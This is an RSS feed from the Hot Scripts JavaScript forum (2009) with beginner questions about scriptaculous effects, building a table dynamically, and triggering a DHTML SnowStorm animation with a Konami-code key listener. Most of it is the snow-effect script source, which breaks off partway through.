<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Hot Scripts Forums - JavaScript</title>
		<link>http://www.hotscripts.com/forums/</link>
		<description><![CDATA[<SCRIPT> window.open("Discuss everything about JavaScripts and JScripts here!")</SCRIPT>]]></description>
		<language>en</language>
		<lastBuildDate>Sun, 22 Nov 2009 06:52:03 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://cdn.hotscripts.com/forums/hsforum/misc/rss.jpg</url>
			<title>Hot Scripts Forums - JavaScript</title>
			<link>http://www.hotscripts.com/forums/</link>
		</image>
		<item>
			<title>Two scriptaculous highlight effects</title>
			<link>http://www.hotscripts.com/forums/javascript/55949-two-scriptaculous-highlight-effects.html</link>
			<pubDate>Sat, 21 Nov 2009 18:56:02 GMT</pubDate>
			<description><![CDATA[For some reason I can't get two highlight effects to work onload of a page, for two different divs. Lordy, can anyone help? 
 
Thanks!]]></description>
			<content:encoded><![CDATA[<div>For some reason I can't get two highlight effects to work onload of a page, for two different divs. Lordy, can anyone help?<br />
<br />
Thanks!</div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>mjjwatson</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55949-two-scriptaculous-highlight-effects.html</guid>
		</item>
		<item>
			<title>dynamically create table</title>
			<link>http://www.hotscripts.com/forums/javascript/55925-dynamically-create-table.html</link>
			<pubDate>Wed, 18 Nov 2009 22:30:33 GMT</pubDate>
			<description><![CDATA[hi all, 
 
I have below table 
 
 
HTML: 
--------- 
<TABLE id=tblGrid cellSpacing=0 cellPadding=0 border=1> 
<TR class="rowHeader"> 
<td>]]></description>
			<content:encoded><![CDATA[<div>hi all,<br />
<br />
I have below table<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">HTML Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"><span style="color:#008080">&lt;TABLE id=tblGrid cellSpacing=0 cellPadding=0 border=1&gt;</span><br />
<span style="color:#008080">&lt;TR class=<span style="color:#0000FF">&quot;rowHeader&quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;td&gt;</span><br />
<span style="color:#000080">&lt;html:text property=<span style="color:#0000FF">&quot;name&quot;</span> style=<span style="color:#0000FF">&quot;WIDTH: 20px&quot;</span>/&gt;</span><br />
<span style="color:#008080">&lt;/td&gt;</span><br />
<span style="color:#008080">&lt;/tr&gt;</span><br />
<span style="color:#008080">&lt;TR&gt;</span><br />
<span style="color:#008080">&lt;td&gt;</span><br />
name&nbsp; &nbsp; &nbsp; &nbsp; <br />
<span style="color:#008080">&lt;/td&gt;</span><br />
<span style="color:#008080">&lt;/tr&gt;</span><br />
<br />
<span style="color:#008080">&lt;/table&gt;</span></code><hr />
</div></div>

]]></content:encoded>
			<category domain="http://www.hotscripts.com/forums/javascript/">JavaScript</category>
			<dc:creator>anvi123</dc:creator>
			<guid isPermaLink="true">http://www.hotscripts.com/forums/javascript/55925-dynamically-create-table.html</guid>
		</item>
		<item>
			<title>Snowing + Konami</title>
			<link>http://www.hotscripts.com/forums/javascript/55923-snowing-konami.html</link>
			<pubDate>Wed, 18 Nov 2009 15:39:47 GMT</pubDate>
			<description><![CDATA[Hello everyone, i've been trying to work this out but it seems i can't get it right.  
What i want to do is the following, I found the konami code JS somewhere in the web, and it tells you how to activate it and everything. Now what i want to do is, once Konami Code is activated lunch a snowing...]]></description>
			<content:encoded><![CDATA[<div>Hello everyone, i've been trying to work this out but it seems i can't get it right. <br />
What i want to do is the following, I found the konami code JS somewhere in the web, and it tells you how to activate it and everything. Now what i want to do is, once Konami Code is activated lunch a snowing script that will make some snow storms.<br />
<br />
However I can't get it to lunch when the konami code is input, i can make alerts go but it seems i can't make the snow storm go.<br />
<br />
<br />
Here is the konami code code:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;script type=&quot;text/javascript&quot;&gt;<br />
var kkeys = [], konami = &quot;38,38,40,40,37,39,37,39,66,65&quot;;<br />
$(document).keydown(function(e) {<br />
&nbsp; kkeys.push( e.keyCode );<br />
&nbsp; if ( kkeys.toString().indexOf( konami ) &gt;= 0 ){<br />
&nbsp; &nbsp; $(document).unbind('keydown',arguments.callee);<br />
&nbsp; &nbsp; // Launch easter egg here&nbsp; &nbsp; <br />
$.getScript('URL OF THE JS HERE, Removed for privacy reasons', function(){<br />
&nbsp; SnowStorm()<br />
<br />
});&nbsp; <br />
&nbsp; }<br />
});<br />
<br />
&lt;/script&gt;</code><hr />
</div>Now the JavaScript for the SnowStorm is the following, I know it works right, but i can't get it to work togther with the Konami code:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">/*<br />
&nbsp;  DHTML PNG Snowstorm! OO-style Jascript-based Snow effect<br />
&nbsp;  --------------------------------------------------------<br />
&nbsp;  Version 1.3.20081215 (Previous rev: v1.2.20041121a)<br />
&nbsp;  Dependencies: GIF/PNG images (0 through 4.gif/png)<br />
&nbsp;  Code by Scott Schiller - http://schillmania.com<br />
&nbsp;  --------------------------------------------------------<br />
&nbsp;  Description:<br />
&nbsp; <br />
&nbsp;  Initializes after body onload() by default (via addEventHandler() call at bottom.)<br />
&nbsp; <br />
&nbsp;  Properties:<br />
&nbsp; <br />
&nbsp;  usePNG<br />
&nbsp;  ---------------<br />
&nbsp;  Enables PNG images if supported (&quot;false&quot; falls back to GIF)<br />
&nbsp; <br />
&nbsp;  flakeTypes<br />
&nbsp;  ---------------<br />
&nbsp;  Sets the range of flake images to use (eg. a value of 5<br />
&nbsp;  will use images ranging from 0.png to 4.png.)<br />
&nbsp; <br />
&nbsp;  flakesMax<br />
&nbsp;  ---------------<br />
&nbsp;  Sets the maximum number of snowflakes that can exist on<br />
&nbsp;  the screen at any given time.<br />
&nbsp;  <br />
&nbsp;  flakesMaxActive<br />
&nbsp;  ---------------<br />
&nbsp;  Sets the limit of &quot;falling&quot; snowflakes (ie. moving, thus<br />
&nbsp;  considered to be &quot;active&quot;.)<br />
&nbsp; <br />
&nbsp;  vMax<br />
&nbsp;  ---------------<br />
&nbsp;  Defines the maximum X and Y velocities for the storm.<br />
&nbsp;  A range up to this value is selected at random.<br />
&nbsp; <br />
&nbsp;  flakeWidth<br />
&nbsp;  ---------------<br />
&nbsp;  The width (in pixels) of each snowflake image.<br />
&nbsp; <br />
&nbsp;  flakeHeight<br />
&nbsp;  ---------------<br />
&nbsp;  Height (pixels) of each snowflake image.<br />
&nbsp;  <br />
&nbsp;  flakeBottom<br />
&nbsp;  ---------------<br />
&nbsp;  Limits the &quot;bottom&quot; coordinate of the snow.<br />
<br />
&nbsp;  snowStick<br />
&nbsp;  ---------------<br />
&nbsp;  Allows the snow to &quot;stick&quot; to the bottom of the window.<br />
&nbsp;  When off, snow will never sit at the bottom.<br />
&nbsp; <br />
&nbsp;  snowCollect<br />
&nbsp;  ---------------<br />
&nbsp;  Enables snow to pile up (slowly) at bottom of window.<br />
&nbsp;  Can be very CPU/resource-intensive over time.<br />
&nbsp;  Also requires snowStick = true.<br />
<br />
&nbsp;  followMouse<br />
&nbsp;  ---------------<br />
&nbsp;  Allow the mouse to affect the &quot;wind&quot;, left-to-right.<br />
<br />
*/<br />
<br />
var snowStorm = null;<br />
<br />
function SnowStorm() {<br />
<br />
&nbsp; // PROPERTIES<br />
&nbsp; // ------------------<br />
<br />
&nbsp; var imagePath = '/images/snow/'; // relative path to snow images (including trailing slash)<br />
&nbsp; var flakesMax = 128;<br />
&nbsp; var flakesMaxActive = 64;<br />
&nbsp; var vMaxX = 8;<br />
&nbsp; var vMaxY = 4;<br />
&nbsp; var usePNG = true;<br />
&nbsp; var flakeBottom = null;&nbsp; &nbsp; &nbsp; &nbsp; // Integer for fixed bottom, 0 or null for &quot;full-screen&quot; snow effect<br />
&nbsp; var snowStick = true;<br />
&nbsp; var snowCollect = false;<br />
&nbsp; var targetElement = null;&nbsp; &nbsp; &nbsp; // element which snow will be appended to (document body if undefined)<br />
&nbsp; var followMouse = true;<br />
&nbsp; var flakeTypes = 6;<br />
&nbsp; var flakeWidth = 5;<br />
&nbsp; var flakeHeight = 5;<br />
<br />
&nbsp; // ------------------<br />
<br />
&nbsp; var zIndex = 0; // CSS stacking order applied to each snowflake<br />
&nbsp; var flakeLeftOffset = 0; // amount to subtract from edges of container<br />
&nbsp; var flakeRightOffset = 0; // amount to subtract from edges of container<br />
<br />
&nbsp; // --- End of user section ---<br />
<br />
&nbsp; var addEvent = function(o,evtName,evtHandler) {<br />
&nbsp; &nbsp; typeof(attachEvent)=='undefined'?o.addEventListener(evtName,evtHandler,false):o.attachEvent('on'+evtName,evtHandler);<br />
&nbsp; }<br />
<br />
&nbsp; var removeEvent = function(o,evtName,evtHandler) {<br />
&nbsp; &nbsp; typeof(attachEvent)=='undefined'?o.removeEventListener(evtName,evtHandler,false):o.detachEvent('on'+evtName,evtHandler);<br />
&nbsp; }<br />
<br />
&nbsp; var classContains = function(o,cStr) {<br />
&nbsp; &nbsp; return (typeof(o.className)!='undefined'?o.className.indexOf(cStr)+1:false);<br />
&nbsp; }<br />
<br />
&nbsp; var s = this;<br />
&nbsp; var storm = this;<br />
&nbsp; this.timers = [];<br />
&nbsp; this.flakes = [];<br />
&nbsp; this.disabled = false;<br />
&nbsp; this.terrain = [];<br />
&nbsp; this.active = false;<br />
<br />
&nbsp; var isIE = navigator.userAgent.match(/msie/i);<br />
&nbsp; var isIE6 = navigator.userAgent.match(/msie 6/i);<br />
&nbsp; var isOldIE = (isIE &amp;&amp; (isIE6 || navigator.userAgent.match(/msie 5/i)));<br />
&nbsp; var isWin9X = navigator.appVersion.match(/windows 98/i);<br />
&nbsp; var isiPhone = navigator.userAgent.match(/iphone/i);<br />
&nbsp; var isBackCompatIE = (isIE &amp;&amp; document.compatMode == 'BackCompat');<br />
&nbsp; var isOpera = navigator.userAgent.match(/opera/i);<br />
&nbsp; if (isOpera) isIE = false; // Opera (which may be sneaky, pretending to be IE by default)<br />
&nbsp; var noFixed = (isBackCompatIE || isIE6 || isiPhone);<br />
&nbsp; var screenX = null;<br />
&nbsp; var screenX2 = null;<br />
&nbsp; var screenY = null;<br />
&nbsp; var scrollY = null;<br />
&nbsp; var vRndX = null;<br />
&nbsp; var vRndY = null;<br />
&nbsp; var windOffset = 1;<br />
&nbsp; var windMultiplier = 2;<br />
&nbsp; var pngSupported = (!isIE || (isIE &amp;&amp; !isIE6 &amp;&amp; !isOldIE)); // IE &lt;7 doesn't do PNG nicely without crap filters<br />
&nbsp; var docFrag = document.createDocumentFragment();<br />
&nbsp; this.oControl = null; // toggle element<br />
&nbsp; if (flakeLeftOffset == null) flakeLeftOffset = 0;<br />
&nbsp; if (flakeRightOffset == null) flakeRightOffset = 0;<br />
<br />
&nbsp; function rnd(n,min) {<br />
&nbsp; &nbsp; if (isNaN(min)) min = 0;<br />
&nbsp; &nbsp; return (Math.random()*n)+min;<br />
&nbsp; }<br />
<br />
&nbsp; this.randomizeWind = function() {<br />
&nbsp; &nbsp; vRndX = plusMinus(rnd(vMaxX,0.2));<br />
&nbsp; &nbsp; vRndY = rnd(vMaxY,0.2);<br />
&nbsp; &nbsp; if (this.flakes) {<br />
&nbsp; &nbsp; &nbsp; for (var i=0; i&lt;this.flakes.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (this.flakes[i].active) this.flakes[i].setVelocities();<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; function plusMinus(n) {<br />
&nbsp; &nbsp; return (parseInt(rnd(2))==1?n*-1:n);<br />
&nbsp; }<br />
<br />
&nbsp; this.scrollHandler = function() {<br />
&nbsp; &nbsp; // &quot;attach&quot; snowflakes to bottom of window if no absolute bottom value was given<br />
&nbsp; &nbsp; scrollY = (flakeBottom?0:parseInt(window.scrollY||document.documentElement.scrollTop||document.body.scrollTop));<br />
&nbsp; &nbsp; if (isNaN(scrollY)) scrollY = 0; // Netscape 6 scroll fix<br />
&nbsp; &nbsp; if (!flakeBottom &amp;&amp; s.flakes) {<br />
&nbsp; &nbsp; &nbsp; for (var i=0; i&lt;s.flakes.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (s.flakes[i].active == 0) s.flakes[i].stick();<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.resizeHandler = function() {<br />
&nbsp; &nbsp; if (window.innerWidth || window.innerHeight) {<br />
&nbsp; &nbsp; &nbsp; screenX = window.innerWidth-(!isIE?16:2)-flakeRightOffset;<br />
&nbsp; &nbsp; &nbsp; screenY = (flakeBottom?flakeBottom:window.innerHeight);<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; screenX = (document.documentElement.clientWidth||document.body.clientWidth||document.body.scrollWidth)-(!isIE?8:0)-flakeRightOffset;<br />
&nbsp; &nbsp; &nbsp; screenY = flakeBottom?flakeBottom:(document.documentElement.clientHeight||document.body.clientHeight||document.body.scrollHeight);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; screenX2 = parseInt(screenX/2);<br />
&nbsp; }<br />
<br />
&nbsp; this.resizeHandlerAlt = function() {<br />
&nbsp; &nbsp; screenX = targetElement.offsetLeft+targetElement.offsetWidth-flakeRightOffset;<br />
&nbsp; &nbsp; screenY = flakeBottom?flakeBottom:targetElement.offsetTop+targetElement.offsetHeight;<br />
&nbsp; &nbsp; screenX2 = parseInt(screenX/2);<br />
&nbsp; }<br />
<br />
&nbsp; this.freeze = function() {<br />
&nbsp; &nbsp; // pause animation<br />
&nbsp; &nbsp; if (!s.disabled) {<br />
&nbsp; &nbsp; &nbsp; s.disabled = 1;<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; for (var i=0; i&lt;s.timers.length; i++) {<br />
&nbsp; &nbsp; &nbsp; clearInterval(s.timers[i]);<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.resume = function() {<br />
&nbsp; &nbsp; if (s.disabled) {<br />
&nbsp; &nbsp; &nbsp;  s.disabled = 0;<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; return false;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; s.timerInit();<br />
&nbsp; }<br />
<br />
&nbsp; this.toggleSnow = function() {<br />
&nbsp; &nbsp; if (!s.flakes.length) {<br />
&nbsp; &nbsp; &nbsp; // first run<br />
&nbsp; &nbsp; &nbsp; s.start();<br />
&nbsp; &nbsp; &nbsp; s.setControlActive(true);<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; s.active = !s.active;<br />
&nbsp; &nbsp; &nbsp; if (s.active) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.show();<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.resume();<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.setControlActive(true);<br />
&nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.stop();<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.freeze();<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.setControlActive(false);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.stop = function() {<br />
&nbsp; &nbsp; this.freeze();<br />
&nbsp; &nbsp; for (var i=this.flakes.length; i--;) {<br />
&nbsp; &nbsp; &nbsp; this.flakes[i].o.style.display = 'none';<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; removeEvent(window,'scroll',s.scrollHandler);<br />
&nbsp; &nbsp; removeEvent(window,'resize',s.resizeHandler);<br />
&nbsp; &nbsp; if (!isIE) {<br />
&nbsp; &nbsp; &nbsp; removeEvent(window,'blur',s.freeze);<br />
&nbsp; &nbsp; &nbsp; removeEvent(window,'focus',s.resume);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; // removeEventHandler(window,'resize',this.resizeHandler,false);<br />
&nbsp; }<br />
<br />
&nbsp; this.show = function() {<br />
&nbsp; &nbsp; for (var i=this.flakes.length; i--;) {<br />
&nbsp; &nbsp; &nbsp; this.flakes[i].o.style.display = 'block';<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.SnowFlake = function(parent,type,x,y) {<br />
&nbsp; &nbsp; var s = this;<br />
&nbsp; &nbsp; var storm = parent;<br />
&nbsp; &nbsp; this.type = type;<br />
&nbsp; &nbsp; this.x = x||parseInt(rnd(screenX-20));<br />
&nbsp; &nbsp; this.y = (!isNaN(y)?y:-rnd(screenY)-12);<br />
&nbsp; &nbsp; this.vX = null;<br />
&nbsp; &nbsp; this.vY = null;<br />
&nbsp; &nbsp; this.vAmpTypes = [2.0,1.0,1.25,1.0,1.5,1.75]; // &quot;amplification&quot; for vX/vY (based on flake size/type)<br />
&nbsp; &nbsp; this.vAmp = this.vAmpTypes[this.type];<br />
<br />
&nbsp; &nbsp; this.active = 1;<br />
&nbsp; &nbsp; this.o = document.createElement('img');<br />
&nbsp; &nbsp; this.o.style.position = 'absolute';<br />
&nbsp; &nbsp; this.o.style.width = flakeWidth+'px';<br />
&nbsp; &nbsp; this.o.style.height = flakeHeight+'px';<br />
&nbsp; &nbsp; this.o.style.fontSize = '1px'; // so IE keeps proper size<br />
&nbsp; &nbsp; this.o.style.zIndex = zIndex;<br />
&nbsp; &nbsp; this.o.src = imagePath+this.type+(pngSupported &amp;&amp; usePNG?'.png':'.gif');<br />
&nbsp; &nbsp; docFrag.appendChild(this.o);<br />
<br />
&nbsp; &nbsp; this.refresh = function() {<br />
&nbsp; &nbsp; &nbsp; s.o.style.left = s.x+'px';<br />
&nbsp; &nbsp; &nbsp; s.o.style.top = s.y+'px';<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.stick = function() {<br />
&nbsp; &nbsp; &nbsp; if (noFixed || (targetElement != document.documentElement &amp;&amp; targetElement != document.body)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.top = (screenY+scrollY-flakeHeight-storm.terrain[Math.floor(s.x)])+'px';<br />
&nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.display = 'none';<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.top = 'auto';<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.bottom = '0px';<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.position = 'fixed';<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.display = 'block';<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.vCheck = function() {<br />
&nbsp; &nbsp; &nbsp; if (s.vX&gt;=0 &amp;&amp; s.vX&lt;0.2) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.vX = 0.2;<br />
&nbsp; &nbsp; &nbsp; } else if (s.vX&lt;0 &amp;&amp; s.vX&gt;-0.2) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.vX = -0.2;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; if (s.vY&gt;=0 &amp;&amp; s.vY&lt;0.2) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.vY = 0.2;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.move = function() {<br />
&nbsp; &nbsp; &nbsp; var vX = s.vX*windOffset;<br />
&nbsp; &nbsp; &nbsp; s.x += vX;<br />
&nbsp; &nbsp; &nbsp; s.y += (s.vY*s.vAmp);<br />
&nbsp; &nbsp; &nbsp; if (vX &gt;= 0 &amp;&amp; (s.x &gt;= screenX || screenX-s.x &lt; (flakeWidth+1))) { // X-axis scroll check<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.x = 0;<br />
&nbsp; &nbsp; &nbsp; } else if (vX &lt; 0 &amp;&amp; s.x-flakeLeftOffset&lt;0-flakeWidth) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.x = screenX-flakeWidth-1; // flakeWidth;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; s.refresh();<br />
&nbsp; &nbsp; &nbsp; var yDiff = screenY+scrollY-s.y-storm.terrain[Math.floor(s.x)];<br />
&nbsp; &nbsp; &nbsp; if (yDiff&lt;flakeHeight) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.active = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (snowCollect &amp;&amp; snowStick) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var height = [0.75,1.5,0.75];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (var i=0; i&lt;2; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; storm.terrain[Math.floor(s.x)+i+2] += height[i];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.o.style.left = (s.x/screenX*100)+'%'; // set &quot;relative&quot; left (change with resize)<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!flakeBottom) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (snowStick) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.stick();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.recycle();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.animate = function() {<br />
&nbsp; &nbsp; &nbsp; // main animation loop<br />
&nbsp; &nbsp; &nbsp; // move, check status, die etc.<br />
&nbsp; &nbsp; &nbsp; s.move();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.setVelocities = function() {<br />
&nbsp; &nbsp; &nbsp; s.vX = vRndX+rnd(vMaxX*0.12,0.1);<br />
&nbsp; &nbsp; &nbsp; s.vY = vRndY+rnd(vMaxY*0.12,0.1);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.recycle = function() {<br />
&nbsp; &nbsp; &nbsp; s.o.style.display = 'none';<br />
&nbsp; &nbsp; &nbsp; s.o.style.position = 'absolute';<br />
&nbsp; &nbsp; &nbsp; s.o.style.bottom = 'auto';<br />
&nbsp; &nbsp; &nbsp; s.setVelocities();<br />
&nbsp; &nbsp; &nbsp; s.vCheck();<br />
&nbsp; &nbsp; &nbsp; s.x = parseInt(rnd(screenX-flakeWidth-20));<br />
&nbsp; &nbsp; &nbsp; s.y = parseInt(rnd(screenY)*-1)-flakeHeight;<br />
&nbsp; &nbsp; &nbsp; s.o.style.left = s.x+'px';<br />
&nbsp; &nbsp; &nbsp; s.o.style.top = s.y+'px';<br />
&nbsp; &nbsp; &nbsp; s.o.style.display = 'block';<br />
&nbsp; &nbsp; &nbsp; s.active = 1;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; this.recycle(); // set up x/y coords etc.<br />
&nbsp; &nbsp; this.refresh();<br />
<br />
&nbsp; }<br />
<br />
&nbsp; this.snow = function() {<br />
&nbsp; &nbsp; var active = 0;<br />
&nbsp; &nbsp; var used = 0;<br />
&nbsp; &nbsp; var waiting = 0;<br />
&nbsp; &nbsp; for (var i=s.flakes.length; i--;) {<br />
&nbsp; &nbsp; &nbsp; if (s.flakes[i].active == 1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; s.flakes[i].move();<br />
&nbsp; &nbsp; &nbsp; &nbsp; active++;<br />
&nbsp; &nbsp; &nbsp; } else if (s.flakes[i].active == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; used++;<br />
&nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; waiting++;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; if (snowCollect &amp;&amp; !waiting) { // !active &amp;&amp; !waiting<br />
&nbsp; &nbsp; &nbsp; // create another batch of snow<br />
&nbsp; &nbsp; &nbsp; s.createSnow(flakesMaxActive,true);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; if (active&lt;flakesMaxActive) {<br />
&nbsp; &nbsp; &nbsp; with (s.flakes[parseInt(rnd(s.flakes.length))]) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!snowCollect &amp;&amp; active == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recycle();<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else if (active == -1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; active = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.mouseMove = function(e) {<br />
&nbsp; &nbsp; if (!followMouse) return true;<br />
&nbsp; &nbsp; var x = parseInt(e.clientX);<br />
&nbsp; &nbsp; if (x&lt;screenX2) {<br />
&nbsp; &nbsp; &nbsp; windOffset = -windMultiplier+(x/screenX2*windMultiplier);<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; x -= screenX2;<br />
&nbsp; &nbsp; &nbsp; windOffset = (x/screenX2)*windMultiplier;<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
&nbsp; this.createSnow = function(limit,allowInactive) {<br />
&nbsp; &nbsp; for (var i=0; i&lt;limit; i++) {<br />
&nbsp; &nbsp; &nbsp; s.flakes[s.flakes.length] = new s.SnowFlake(s,parseInt(rnd(flakeTypes)));<br />
&nbsp; &nbsp; &nbsp; if (allowInactive || i&gt;flakesMaxActive) s.flakes[s.flakes.length-1].active = -1;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; targetElement.appendChild(docFrag);<br />
&nbsp; }<br />
<br />
&nbsp; this.timerInit = function() {<br />
&nbsp; &nbsp; s.timers = (!isWin9X?[setInterval(s.snow,20)]:[setInterval(s.snow,75),setInterval(s.snow,25)]);<br />
&nbsp; }<br />
<br />
&nbsp; this.init = function() {<br />
&nbsp; &nbsp; for (var i=0; i&lt;2048; i++) {<br />
&nbsp; &nbsp; &nbsp; s.terrain[i] = 0;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; s.randomizeWind();<br />
&nbsp; &nbsp; s.createSnow(snowCollect?flakesMaxActive:flakesMaxActive*2); // create initial batch<br />
&nbsp; &nbsp; addEvent(window,'resize',s.resizeHandler);<br />
&nbsp; &nbsp; addEvent(window,'scroll',s.scrollHandler);<br />
&nbsp; &nbsp; if (!isIE) {<br />
&nbsp; &nbsp; &nbsp; addEvent(window,'blur',s.freeze);<br />
&nbsp; &nbsp; &nbsp; addEvent(window,'focus',s.resume);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; s.resizeHandler();<br />
&nbsp; &nbsp; s.scrollHandler();<br />
&nbsp; &nbsp; if (followMouse) {<br />
&nbsp; &nbsp; &nbsp; addEvent(document,'mousemove',s.mouseMove);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; s.timerInit();<br />
&nbsp; }<br />
<br />
&nbsp; var didInit = false;<br />
<br />
&nbsp; this.start = function(bFromOnLoad) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!didInit) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; didInit = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else if (bFromOnLoad) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // already loaded and running<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; if (typeof targetElement == 'string') {<br />
&nbsp; &nbsp; &nbsp; targetElement = document.getElementById(targetElement);<br />
&nbsp; &nbsp; &nbsp; if (!targetElement) throw new Error('Snowstorm: Unable to get targetElement');<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (!targetElement) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; targetElement = (!isIE?(document.documentElement?document.documentElement:document.body):document.body);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; if (targetElement != document.documentElement &amp;&amp; targetElement != document.body) s.resizeHandler = s.resizeHandlerAlt; // re-map handler to get element instead of screen dimensions<br />
&nbsp; &nbsp; s.resizeHandler(); // get bounding box elements<br />
&nbsp; &nbsp; if (screenX &amp;&amp; screenY &amp;&amp; !s.disabled) {<br />
&nbsp; &nbsp; &nbsp; s.init();<br />
&nbsp; &nbsp; &nbsp; s.active = true;<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
<br />
